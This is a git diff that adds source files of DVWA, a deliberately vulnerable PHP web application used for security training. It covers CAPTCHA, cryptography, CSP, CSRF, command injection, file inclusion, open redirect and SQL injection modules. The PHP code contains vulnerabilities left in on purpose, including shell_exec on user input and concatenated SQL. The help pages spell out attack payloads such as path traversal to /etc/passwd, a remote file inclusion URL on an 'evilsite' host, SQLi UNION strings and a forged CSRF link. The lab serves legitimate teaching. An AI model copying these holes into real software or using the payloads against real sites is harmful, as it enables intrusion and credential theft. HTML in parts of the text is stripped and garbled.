Either your current password is incorrect or the new passwords did not match."; + $hide_form = false; + } + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/examples/dvwa/vulnerabilities/captcha/source/low.php b/examples/dvwa/vulnerabilities/captcha/source/low.php new file mode 100644 index 0000000..bfedb56 --- /dev/null +++ b/examples/dvwa/vulnerabilities/captcha/source/low.php @@ -0,0 +1,75 @@ +
Please try again.
+ "; + } + else { + // Both new passwords do not match. + $html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
Both passwords must match."; + $hide_form = false; + } + } +} + +if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { + // Hide the CAPTCHA form + $hide_form = true; + + // Get input + $pass_new = $_POST[ 'password_new' ]; + $pass_conf = $_POST[ 'password_conf' ]; + + // Check to see if both password match + if( $pass_new == $pass_conf ) { + // They do! + $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); + $pass_new = md5( $pass_new ); + + // Update database + $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; + $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + // Feedback for the end user + $html .= "
Password Changed."; + } + else { + // Issue with the passwords matching + $html .= "
Passwords did not match."; + $hide_form = false; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/examples/dvwa/vulnerabilities/captcha/source/medium.php b/examples/dvwa/vulnerabilities/captcha/source/medium.php new file mode 100644 index 0000000..1f76e95 --- /dev/null +++ b/examples/dvwa/vulnerabilities/captcha/source/medium.php @@ -0,0 +1,83 @@ +
+ "; + } + else { + // Both new passwords do not match. + $html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
Both passwords must match."; + $hide_form = false; + } + } +} + +if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { + // Hide the CAPTCHA form + $hide_form = true; + + // Get input + $pass_new = $_POST[ 'password_new' ]; + $pass_conf = $_POST[ 'password_conf' ]; + + // Check to see if they did stage 1 + if( !$_POST[ 'passed_captcha' ] ) { + $html .= "
"; + $hide_form = false; + return; + } + + // Check to see if both password match + if( $pass_new == $pass_conf ) { + // They do! + $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); + $pass_new = md5( $pass_new ); + + // Update database + $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; + $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
You have not passed the CAPTCHA.
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + // Feedback for the end user + $html .= "
Password Changed."; + } + else { + // Issue with the passwords matching + $html .= "
Passwords did not match."; + $hide_form = false; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/examples/dvwa/vulnerabilities/cryptography/help/help.php b/examples/dvwa/vulnerabilities/cryptography/help/help.php new file mode 100644 index 0000000..3b66301 --- /dev/null +++ b/examples/dvwa/vulnerabilities/cryptography/help/help.php @@ -0,0 +1,180 @@ + + +
+ About++ Cryptography is key area of security and is used to keep secrets secret. When implemented badly these secrets can be leaked or the crypto manipulated to bypass protections. + ++ This module will look at three weaknesses, using encoding instead of encryption, using algorithms with known weaknesses, and padding oracle attacks. + + ++ + Objective+Each level has its own objective but the general idea is to exploit weak cryptographic implementations. + ++ + Low Level+The thing to notice is the mention of encoding rather than encryption, that should give you a hint about the vulnerability here. ++ + +
+
+
+ Start by encoding a few messages and looking at the output, if you have spent any time around encoding standards you should be able to tell that it is in Base64. Could it be that simple? Try Base64 decoding some test strings to find out: +
+
++That failed, but what you might notice is that the number of output characters matches the number of input characters. Another common encoding method that is sometimes mistaken for encryption is XOR, this takes the clear text input and XORs each character with a key which is repeated or truncated to be the same length as the input. ++XOR is associative, this means that if you XOR the clear text with the key you get the cipher text and if you XOR the cipher text with the key you get the clear text, what it also means is if you XOR the clear text with the cipher text, you get the key. Let's try this with our examples: + +
++This looks promising, let's try the second example: + +
+
++There is no repetition in the key yet so let's try with a longer string. + + +
+
++It looks like we have found our key "wachtwoord". Let's give it a try on our challenge string: + + +
+
+
++And there we have it, the message we are looking for and the password we need to login. + + +Another lesson here, do not assume that the messages or the underlying system you are working with is in English. The key "wachtwoord" is Dutch for password. +Medium Level+The tokens are encrypted using an Electronic Code Book based algorithm (AES-128-ECB). In this mode, the clear text is broken down into fixed sized blocks and each block is encrypted independently of the rest. This results in a cipher text that is made up from a number of individual blocks with no way to tie them together. Worse than this, any two blocks, from any two clear text inputs, are interchangeable as long as they have been encrypted with the same key. In our example, this means you can take blocks from the three different tokens to make your own token. ++ + +
+
+
+ + How do you know the block size? This is given in the algorithm name. aes-128-ebc is a 128 bit block cipher. 128 bits is 16 bytes, but to make things human readable, the bytes are represented as hex characters meaning each byte is two characters. This gives you a block size of 32 characters. Sooty's token is 192 characters long, 192 / 32 = 6 and so Sooty's token has six code blocks. + + ++Let's start by breaking the tokens down into blocks. +Sooty: +
+
+
+Sweep: +
+
+Soo: +
+
+ + Each token has broken down nicely into blocks so we are on the right track. + ++ If you look carefully at the blocks you will see that there are some that repeat over the different tokens, this means that the same clear text has been encrypted to create the block. If we look at the description we can try to map these to the JSON object. + ++ Taking Sooty as an example: + +Sooty: +
+
+ + Assuming we are right with our mappings, if you compare the blocks that match you can see that Sooty and Sweep both have the same expiry block (b85bb230876912bf3c66e50758b222d0) and both Sweep and Soo have the same level block (83f2d277d9e5fb9a951e74bee57c77a3). This matches with what we know about the tokens as both Sooty and Sweep have expired tokens and both Sweep and Soo are users, not admins. + ++ Knowing all this, we can now create our forged session token. We need to take the username block from Sweep, the expiry block from Soo and the level block from Sooty. We can then finish the token off with the remaining blocks from any of the tokens. This gives us: + +
+ + Which gives us... + ++ + ++ This is a very contrived setup with the tokens tweaked to force blocks to map to the JSON object so manipulation is easier to do, in the real world it is unlikely to be this easy however as data is often formed from fixed sized blocks overlaps can happen in a way that mixing blocks up results in valid data. Sometimes just being able to pass invalid data is enough so all that is needed is to swap blocks in a way that they can be decrypted and then passed on to the rest of the system where they will cause errors. + ++ If you want to play with this some more, there is a script called ecb_attack.php in the sources directory which shows how the tokens were generated and lets you combine them in different ways to create custom tokens. + +High Level+The system is using AES-128-CBC which means it is vulnerable to a padding oracle attack. + ++ + + +
+
+
+ Rather than try to explain this here, go read this excellent write up on the attack by Eli Sohl. +Cryptopals: Exploiting CBC Padding Oracles ++ If you want to play with this some more, there is a script called oracle_attack.php in the sources directory which runs through the full attack with debug. You can run this either against the DVWA site or it will run locally against its own pretend web server. + +Impossible Level+You can never say impossible in crypto as something that would take years today could take minutes in the future when a new attack is found or when processing power takes a giant leam forward. ++ The current recommended alternative to AES-CBC is AES-GCM and so the system uses that here. 256 bit blocks rather than 128 bit blocks are used, and a unique IV used for every message. This may be secure today but who knows what tomorrow brings? + + |
+
+ You have managed to steal the following token from a user of the Prognostication application. +
++ +
++ You can use the form below to provide the token to access the system. You have two challenges, first, decrypt the token to find out the secret it contains, and then create a new token to access the system as a other users. See if you can make yourself an administrator. +
++ You have managed to steal the following token from a user of the Impervious application. +
++ +
++ This being the impossible level, you should not be able to mess with the token in any useful way but feel free to try below. +
++ This super secure system will allow you to exchange messages with your friends without anyone else being able to read them. Use the box below to encode and decode messages. +
+ +"; + +if (!is_null ($encoded)) { + $html .= " ++
"; +} + +$html .= " ++ You have intercepted the following message, decode it and log in below. +
++ +
+"; + +if ($errors != "") { + $html .= '+ You have managed to get hold of three session tokens for an application you think is using poor cryptography to protect its secrets: +
++ Sooty (admin), session expired +
++ +
++ Sweep (user), session expired +
++ +
++ Soo (user), session valid +
++ +
++ Based on the documentation, you know the format of the token is: +
+{
+ \"user\": \"example\",
+ \"ex\": 1723620372,
+ \"level\": \"user\",
+ \"bio\": \"blah\"
+}
++You also spot this comment in the docs: +
++To ensure your security, we use aes-128-ecb throughout our application. ++ +
+ Manipulate the session tokens you have captured to log in as Sweep with admin privileges. +"; + +if ($errors != "") { + $html .= '
+ About+Content Security Policy (CSP) is used to define where scripts and other resources can be loaded or executed from. This module will walk you through ways to bypass the policy based on common mistakes made by developers. +None of the vulnerabilities are actual vulnerabilities in CSP, they are vulnerabilities in the way it has been implemented. + ++ + Objective+Bypass Content Security Policy (CSP) and execute JavaScript in the page. + ++ + Low Level+Examine the policy to find all the sources that can be used to host external script files. +This exercise was originally written to work with Pastebin, then updated for Hastebin, then Toptal, but all these stopped working as they set various headers that prevent the browser executing the JavaScript once it has downloaded it. Since then two new services have been identified, UNPKG and jsDelivr, the first is a proxy for NPM packages, the second one for GitHub files. They are both designed to allow raw access to any files and do not set any headers that will stop injection. + +I have also put a number of files on my site which help to demonstrate how different headers and file extensions can block execution. +Spoiler:
+https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js - Using jsDelivr to server a JavaScript file stored on GitHub.
+https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js - Using UNPKG to access a JavaScript file in an NPM package.
+https://digi.ninja/dvwa/alert.js - Will work, this is a normal JavaScript file served with the correct headers.
+https://digi.ninja/dvwa/alert.txt - This will not work as it has the wrong content type set by the web server due to its file extension.
+https://digi.ninja/dvwa/cookie.js - This will work and will show your cookies
+https://digi.ninja/dvwa/forced_download.js - As the name says, the server sets the "Content-Disposition: attachment" header for this to force the browser to download it rather than execute it.
+https://digi.ninja/dvwa/wrong_content_type.js - This will not work as the web server ignores the file extension and forces the content type to get set as "plain/text" which prevents the browser executing it.
+
+ + + Medium Level+The CSP policy tries to use a nonce to prevent inline scripts from being added by attackers. +Spoiler: Examine the nonce and see how it varies (or doesn't).
+
+ + + High Level+The page makes a JSONP call to source/jsonp.php passing the name of the function to callback to, you need to modify the jsonp.php script to change the callback function. +Spoiler: The JavaScript on the page will execute whatever is returned by the page, changing this to your own code will execute that instead
+
+ + + Impossible Level++ This level is an update of the high level where the JSONP call has its callback function hardcoded and the CSP policy is locked down to only allow external scripts. + + |
+
Reference:
+Reference:
+Reference:
+Module developed by Digininja.
+The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.
+1+2+3+4+5=
+ + + + +'; + diff --git a/examples/dvwa/vulnerabilities/csp/source/impossible.js b/examples/dvwa/vulnerabilities/csp/source/impossible.js new file mode 100644 index 0000000..11b56aa --- /dev/null +++ b/examples/dvwa/vulnerabilities/csp/source/impossible.js @@ -0,0 +1,19 @@ +function clickButton() { + var s = document.createElement("script"); + s.src = "source/jsonp_impossible.php"; + document.body.appendChild(s); +} + +function solveSum(obj) { + if ("answer" in obj) { + document.getElementById("answer").innerHTML = obj['answer']; + } +} + +var solve_button = document.getElementById ("solve"); + +if (solve_button) { + solve_button.addEventListener("click", function() { + clickButton(); + }); +} diff --git a/examples/dvwa/vulnerabilities/csp/source/impossible.php b/examples/dvwa/vulnerabilities/csp/source/impossible.php new file mode 100644 index 0000000..320fd2f --- /dev/null +++ b/examples/dvwa/vulnerabilities/csp/source/impossible.php @@ -0,0 +1,23 @@ + + +Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.
The CSP settings only allow external JavaScript on the local server and no inline code.
+1+2+3+4+5=
+ + + + +'; + diff --git a/examples/dvwa/vulnerabilities/csp/source/jsonp.php b/examples/dvwa/vulnerabilities/csp/source/jsonp.php new file mode 100644 index 0000000..fcfc535 --- /dev/null +++ b/examples/dvwa/vulnerabilities/csp/source/jsonp.php @@ -0,0 +1,13 @@ + "15"); + +echo $callback . "(".json_encode($outp).")"; +?> diff --git a/examples/dvwa/vulnerabilities/csp/source/jsonp_impossible.php b/examples/dvwa/vulnerabilities/csp/source/jsonp_impossible.php new file mode 100644 index 0000000..090a38b --- /dev/null +++ b/examples/dvwa/vulnerabilities/csp/source/jsonp_impossible.php @@ -0,0 +1,7 @@ + "15"); + +echo "solveSum (".json_encode($outp).")"; +?> diff --git a/examples/dvwa/vulnerabilities/csp/source/low.php b/examples/dvwa/vulnerabilities/csp/source/low.php new file mode 100644 index 0000000..94668f4 --- /dev/null +++ b/examples/dvwa/vulnerabilities/csp/source/low.php @@ -0,0 +1,27 @@ + + +"; +} +$page[ 'body' ] .= ' + ++ You will probably need to do some reading up on what some of the domains allowed by the CSP do and how they can be used. +
+'; diff --git a/examples/dvwa/vulnerabilities/csp/source/medium.php b/examples/dvwa/vulnerabilities/csp/source/medium.php new file mode 100644 index 0000000..0fd0320 --- /dev/null +++ b/examples/dvwa/vulnerabilities/csp/source/medium.php @@ -0,0 +1,25 @@ +alert(1) + +?> + +Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.
+ + + +'; diff --git a/examples/dvwa/vulnerabilities/csrf/help/help.php b/examples/dvwa/vulnerabilities/csrf/help/help.php new file mode 100644 index 0000000..1c3d8b7 --- /dev/null +++ b/examples/dvwa/vulnerabilities/csrf/help/help.php @@ -0,0 +1,71 @@ +
+ About+CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. + With a little help of social engineering (such as sending a link via email/chat), an attacker may force the users of a web application to execute actions of + the attacker's choosing. + +A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is + the administrator account, this can compromise the entire web application. + +This attack may also be called "XSRF", similar to "Cross Site scripting (XSS)", and they are often used together. + ++ + Objective+Your task is to make the current user change their own password, without them knowing about their actions, using a CSRF attack. + ++ + Low Level+There are no measures in place to protect against this attack. This means a link can be crafted to achieve a certain action (in this case, change the current users password). + Then with some basic social engineering, have the target click the link (or just visit a certain page), to trigger the action. +Spoiler: ?password_new=password&password_conf=password&Change=Change.
+
+ + + Medium Level+For the medium level challenge, there is a check to see where the last requested page came from. The developer believes if it matches the current domain, + it must of come from the web application so it can be trusted. +It may be required to link in multiple vulnerabilities to exploit this vector, such as reflective XSS. + ++ + High Level+In the high level, the developer has added an "anti Cross-Site Request Forgery (CSRF) token". In order by bypass this protection method, another vulnerability will be required. +Spoiler: e.g. Javascript is a executed on the client side, in the browser.
+
+ Bonus Challenge+At this level, the site will also accept a change password request as a JSON object in the following format: +
+ When done this way, the CSRF token must be passed as a header named Here is a sample request: +
+
+ + + Impossible Level+At this level, the site requires the user to give their current password as well as the new password. As the attacker does not know this, the site is protected against CSRF style attacks. + |
+
Reference:
+Note: Browsers are starting to default to setting the SameSite cookie flag to Lax, and in doing so are killing off some types of CSRF attacks. When they have completed their mission, this lab will not work as originally expected.
+Announcements:
+ +As an alternative to the normal attack of hosting the malicious URLs or code on a separate host, you could try using other vulnerabilities in this app to store them, the Stored XSS lab would be a good place to start.
+ +" . $return_message . ""; + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/examples/dvwa/vulnerabilities/csrf/source/impossible.php b/examples/dvwa/vulnerabilities/csrf/source/impossible.php new file mode 100644 index 0000000..7baad86 --- /dev/null +++ b/examples/dvwa/vulnerabilities/csrf/source/impossible.php @@ -0,0 +1,50 @@ +prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); + $current_user = dvwaCurrentUser(); + $data->bindParam( ':user', $current_user, PDO::PARAM_STR ); + $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); + $data->execute(); + + // Do both new passwords match and does the current password match the user? + if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { + // It does! + $pass_new = stripslashes( $pass_new ); + $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); + $pass_new = md5( $pass_new ); + + // Update database with new password + $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); + $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); + $current_user = dvwaCurrentUser(); + $data->bindParam( ':user', $current_user, PDO::PARAM_STR ); + $data->execute(); + + // Feedback for the user + $html .= "
Password Changed."; + } + else { + // Issue with passwords matching + $html .= "
Passwords did not match or current password incorrect."; + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/examples/dvwa/vulnerabilities/csrf/source/low.php b/examples/dvwa/vulnerabilities/csrf/source/low.php new file mode 100644 index 0000000..2f41a4e --- /dev/null +++ b/examples/dvwa/vulnerabilities/csrf/source/low.php @@ -0,0 +1,30 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + // Feedback for the user + $html .= "
Password Changed."; + } + else { + // Issue with passwords matching + $html .= "
Passwords did not match."; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/examples/dvwa/vulnerabilities/csrf/source/medium.php b/examples/dvwa/vulnerabilities/csrf/source/medium.php new file mode 100644 index 0000000..65089d4 --- /dev/null +++ b/examples/dvwa/vulnerabilities/csrf/source/medium.php @@ -0,0 +1,37 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + // Feedback for the user + $html .= "
Password Changed."; + } + else { + // Issue with passwords matching + $html .= "
Passwords did not match."; + } + } + else { + // Didn't come from a trusted source + $html .= "
That request didn't look correct."; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/examples/dvwa/vulnerabilities/csrf/test_credentials.php b/examples/dvwa/vulnerabilities/csrf/test_credentials.php new file mode 100644 index 0000000..e7274a7 --- /dev/null +++ b/examples/dvwa/vulnerabilities/csrf/test_credentials.php @@ -0,0 +1,54 @@ +'. mysqli_connect_error() . '.
+ About+The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. + In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it + as any authorized system user. However, commands are executed with the same privileges and environment as the web service has. + +Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker + (forms, cookies, HTTP headers etc.). + +The syntax and commands may differ between the Operating Systems (OS), such as Linux and Windows, depending on their desired actions. + +This attack may also be called "Remote Command Execution (RCE)". + ++ + Objective+Remotely, find out the user of the web service on the OS, as well as the machines hostname via RCE. + ++ + Low Level+This allows for direct input into one of many PHP functions that will execute commands on the OS. It is possible to escape out of the designed command and + executed unintentional actions. +This can be done by adding on to the request, "once the command has executed successfully, run this command". + Spoiler: To add a command "&&". Example: 127.0.0.1 && dir.+ + + + Medium Level+The developer has read up on some of the issues with command injection, and placed in various pattern patching to filter the input. However, this isn't enough. +Various other system syntaxes can be used to break out of the desired command. +Spoiler: e.g. background the ping command.
+
+ + + High Level+In the high level, the developer goes back to the drawing board and puts in even more pattern to match. But even this isn't enough. +The developer has either made a slight typo with the filters and believes a certain PHP command will save them from this mistake. +Spoiler:
+ removes all leading & trailing spaces, right?.
+
+ + + Impossible Level+In the impossible level, the challenge has been re-written, only to allow a very stricted input. If this doesn't match and doesn't produce a certain result, + it will not be allowed to execute. Rather than "black listing" filtering (allowing any input and removing unwanted), this uses "white listing" (only allow certain values). + |
+
Reference:
+{$cmd}";
+}
+
+?>
diff --git a/examples/dvwa/vulnerabilities/exec/source/impossible.php b/examples/dvwa/vulnerabilities/exec/source/impossible.php
new file mode 100644
index 0000000..aa49551
--- /dev/null
+++ b/examples/dvwa/vulnerabilities/exec/source/impossible.php
@@ -0,0 +1,41 @@
+{$cmd}";
+ }
+ else {
+ // Ops. Let the user name theres a mistake
+ $html .= 'ERROR: You have entered an invalid IP.'; + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/examples/dvwa/vulnerabilities/exec/source/low.php b/examples/dvwa/vulnerabilities/exec/source/low.php new file mode 100644 index 0000000..e4a7f59 --- /dev/null +++ b/examples/dvwa/vulnerabilities/exec/source/low.php @@ -0,0 +1,21 @@ +{$cmd}"; +} + +?> diff --git a/examples/dvwa/vulnerabilities/exec/source/medium.php b/examples/dvwa/vulnerabilities/exec/source/medium.php new file mode 100644 index 0000000..c7c1564 --- /dev/null +++ b/examples/dvwa/vulnerabilities/exec/source/medium.php @@ -0,0 +1,30 @@ + '', + ';' => '', + ); + + // Remove any of the characters in the array (blacklist). + $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); + + // Determine OS and execute the ping command. + if( stristr( php_uname( 's' ), 'Windows NT' ) ) { + // Windows + $cmd = shell_exec( 'ping ' . $target ); + } + else { + // *nix + $cmd = shell_exec( 'ping -c 4 ' . $target ); + } + + // Feedback for the end user + $html .= "
{$cmd}";
+}
+
+?>
diff --git a/examples/dvwa/vulnerabilities/fi/file1.php b/examples/dvwa/vulnerabilities/fi/file1.php
new file mode 100644
index 0000000..0460697
--- /dev/null
+++ b/examples/dvwa/vulnerabilities/fi/file1.php
@@ -0,0 +1,22 @@
+
+
+ About+Some web applications allow the user to specify input that is used directly into file streams or allows the user to upload files to the server. + At a later time the web application accesses the user supplied input in the web applications context. By doing this, the web application is allowing + the potential for malicious file execution. + +If the file chosen to be included is local on the target machine, it is called "Local File Inclusion (LFI). But files may also be included on other + machines, which then the attack is a "Remote File Inclusion (RFI). + +When RFI is not an option. using another vulnerability with LFI (such as file upload and directory traversal) can often achieve the same effect. + +Note, the term "file inclusion" is not the same as "arbitrary file access" or "file disclosure". + ++ + Objective+Read all five famous quotes from '../hackable/flags/fi.php' using only the file inclusion. + ++ + Low Level+This allows for direct input into one of many PHP functions that will include the content when executing. + +Depending on the web service configuration will depend if RFI is a possibility. +Spoiler: LFI: ?page=../../../../../../etc/passwd. + Spoiler: RFI: ?page=http://www.evilsite.com/evil.php.+ + + + Medium Level+The developer has read up on some of the issues with LFI/RFI, and decided to filter the input. However, the patterns that are used, isn't enough. +Spoiler: LFI: Possible, due to it only cycling through the pattern matching once. + Spoiler: RFI: .+ + + + High Level+The developer has had enough. They decided to only allow certain files to be used. However as there are multiple files with the same basename, + they use a wildcard to include them all. +Spoiler: LFI: The filename only has start with a certain value.. + Spoiler: RFI: Need to link in another vulnerability, such as file upload.+ + + + Impossible Level+The developer calls it quits and hardcodes only the allowed pages, with there exact filenames. By doing this, it removes all avenues of attack. + |
+
Reference:
+Reference:
+Reference:
+Reference:
+ +This lab relies on the PHP include and require functions being able to include content from remote hosts. As this is a security risk, PHP have deprecated this in version 7.4 and it will be removed completely in a future version. If this lab is not working correctly for you, check your PHP version and roll back to version 7.4 if you are on a newer version which has lost the feature.
You are running PHP version: " . phpversion() . " +
+ + {$WarningHtml} + + + +The attacks in this section are designed to help you learn about how JavaScript is used in the browser and how it can be manipulated. The attacks could be carried out by just analysing network traffic, but that isn't the point and it would also probably be a lot harder.
+ +Simply submit the phrase "success" to win the level. Obviously, it isn't quite that easy, each level implements different protection mechanisms, the JavaScript included in the pages has to be analysed and then manipulated to bypass the protections.
+ +All the JavaScript is included in the page. Read the source and work out what function is being used to generate the token required to match with the phrase and then call the function manually.
+Spoiler: Change the phrase to success and then use the function generate_token() to update the token.
+
+ + The JavaScript has been broken out into its own file and then minimized. You need to view the source for the included file and then work out what it is doing. Both Firefox and Chrome have a Pretty Print feature which attempts to reverse the compression and display code in a readable way. +
+Spoiler: The file uses the setTimeout function to run the do_elsesomething function which generates the token.
+
+ + The JavaScript has been obfuscated by at least one engine. You are going to need to step through the code to work out what is useful, what is garbage and what is needed to complete the mission. +
+Spoiler: If it helps, two packers have been used, the first is from Dan's Tools and the second is the JavaScript Obfuscator Tool.
+ Spoiler 2: This deobfuscation tool seems to work the best on this code deobfuscate javascript.
+ Spoiler 3: This is one way to do it... run the obfuscated JS through a deobfuscation app, intercept the response for the obfuscated JS and swap in the readable version. Work out the flow and you will see three functions that need to be called in order. Call the functions at the right time with the right parameters.
+
+ You can never trust the user and have to assume that any code sent to the user can be manipulated or bypassed and so there is no impossible level.
+ +Reference:
+Invalid token.
"; + } + break; + case 'medium': + if ($token == strrev("XXsuccessXX")) { + $message = "Well done!
"; + } else { + $message = "Invalid token.
"; + } + break; + case 'high': + if ($token == hash("sha256", hash("sha256", "XX" . strrev("success")) . "ZZ")) { + $message = "Well done!
"; + } else { + $message = "Invalid token.
"; + } + break; + default: + $vulnerabilityFile = 'impossible.php'; + break; + } + } else { + $message = "You got the phrase wrong.
"; + } + } else { + $message = "Missing phrase or token.
"; + } +} + +if ( dvwaSecurityLevelGet() == "impossible" ) { +$page[ 'body' ] = <<+ You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level. +
+EOF; +} else { +$page[ 'body' ] = <<+ Submit the word "success" to win. +
+ + $message + + +EOF; +} + +require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/javascript/source/{$vulnerabilityFile}"; + +$page[ 'body' ] .= <<Module developed by Digininja.
+
+ About++ OWASP define this as: + ++ Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. ++ + As suggested above, a common use for this is to create a URL which initially goes to the real site but then redirects the victim off to a site controlled by the attacker. This site could be a clone of the target's login page to steal credentials, a request for credit card details to pay for a service on the target site, or simply a spam page full of advertising. + ++ + Objective+Abuse the redirect page to move the user off the DVWA site or onto a different page on the site than expected. + ++ + Low Level+The redirect page has no limitations, you can redirect to anywhere you want. +Spoiler: Try browsing to /vulnerabilities/open_redirect/source/low.php?redirect=https://digi.ninja + ++ + Medium Level+The code prevents you from using absolute URLs to take the user off the site, so you can either use relative URLs to take them to other pages on the same site or a Protocol-relative URL. + +Spoiler: Try browsing to /vulnerabilities/open_redirect/source/low.php?redirect=//digi.ninja + ++ + High Level+The redirect page tries to lock you to only redirect to the info.php page, but does this by checking that the URL contains "info.php". + +Spoiler: Try browsing to /vulnerabilities/open_redirect/source/low.php?redirect=https://digi.ninja/?a=info.php + ++ + Impossible Level+Rather than accepting a page or URL as the redirect target, the system uses ID values to tell the redirect page where to redirect to. This ties the system down to only redirect to pages it knows about and so there is no way for an attacker to modify things to go to a page of their choosing. + + |
+
Reference:
++ Here are two links to some famous hacker quotes, see if you can hack them. +
+ + {$html} +You can only redirect to the info page.
+ +Missing redirect target.
+ diff --git a/examples/dvwa/vulnerabilities/open_redirect/source/impossible.php b/examples/dvwa/vulnerabilities/open_redirect/source/impossible.php new file mode 100644 index 0000000..aa9ee9a --- /dev/null +++ b/examples/dvwa/vulnerabilities/open_redirect/source/impossible.php @@ -0,0 +1,29 @@ + + Unknown redirect target. + +Missing redirect target. diff --git a/examples/dvwa/vulnerabilities/open_redirect/source/info.php b/examples/dvwa/vulnerabilities/open_redirect/source/info.php new file mode 100644 index 0000000..0a12ed8 --- /dev/null +++ b/examples/dvwa/vulnerabilities/open_redirect/source/info.php @@ -0,0 +1,61 @@ +I got a record, I was Zero CoolMissing quote ID.
+ +Missing redirect target.
+ diff --git a/examples/dvwa/vulnerabilities/open_redirect/source/medium.php b/examples/dvwa/vulnerabilities/open_redirect/source/medium.php new file mode 100644 index 0000000..f03f159 --- /dev/null +++ b/examples/dvwa/vulnerabilities/open_redirect/source/medium.php @@ -0,0 +1,21 @@ + +Absolute URLs not allowed.
+ +Missing redirect target.
+ diff --git a/examples/dvwa/vulnerabilities/sqli/help/help.php b/examples/dvwa/vulnerabilities/sqli/help/help.php new file mode 100644 index 0000000..ed81122 --- /dev/null +++ b/examples/dvwa/vulnerabilities/sqli/help/help.php @@ -0,0 +1,60 @@ +
+ About+A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. + A successful SQL injection exploit can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database + (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system (load_file) and in some cases issue commands to the operating system. + +SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands. + +This attack may also be called "SQLi". + ++ + Objective+There are 5 users in the database, with id's from 1 to 5. Your mission... to steal their passwords via SQLi. + ++ + Low Level+The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are able + to execute any SQL query they wish. +Spoiler: ?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit.
+
+ + + Medium Level+The medium level uses a form of SQL injection protection, with the function of + "". + However due to the SQL query not having quotes around the parameter, this will not fully protect the query from being altered. + +The text box has been replaced with a pre-defined dropdown list and uses POST to submit the form. +Spoiler: ?id=a UNION SELECT 1,2;-- -&Submit=Submit.
+
